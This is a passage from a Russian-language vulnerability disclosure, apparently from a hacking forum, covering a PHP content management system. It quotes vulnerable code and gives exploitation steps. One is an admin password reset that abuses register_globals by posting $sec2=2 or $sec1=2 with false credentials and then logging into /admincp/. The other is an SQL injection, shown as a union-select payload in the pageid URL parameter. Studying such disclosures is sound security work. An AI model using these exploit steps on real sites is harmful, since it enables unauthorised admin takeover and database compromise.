$query_new_pass = mysql_query("update user set password = '$new_pass_final' where userid=1");
echo "/--/ $new_pass /--/"; //новым пассом будет сгенеренный мд5 хеш, но вы не пугайтесь, можно пройти в админку и поставить более короткий
эксплуатирование:
ставим заведомо ложные логин и секьюрити кей, и отправляем в POST-пакете $sec2=2 или $sec1=2, и идем в /admincp/ и логинимся с полученным из поля пассом
3) [SQL-injection] (требования: register_globals=on, доступ в админ панель)
$connect = mysql_connect("$db_host","$db_user","$db_pass") or die("can't connect to DB");
mysql_select_db("$db_name") or die("can't select the DB");
$query_getting_page = mysql_query("select pageid, pagetitle, page_content from site where pageid=$page_to_edit");
$page_edit = mysql_fetch_array($query_getting_page);
эксплуатирование:
Код:
/admincp/?action=edit&pageid=-3+union+select+1,2,3--&securekey=<значение переменной securekey из урла>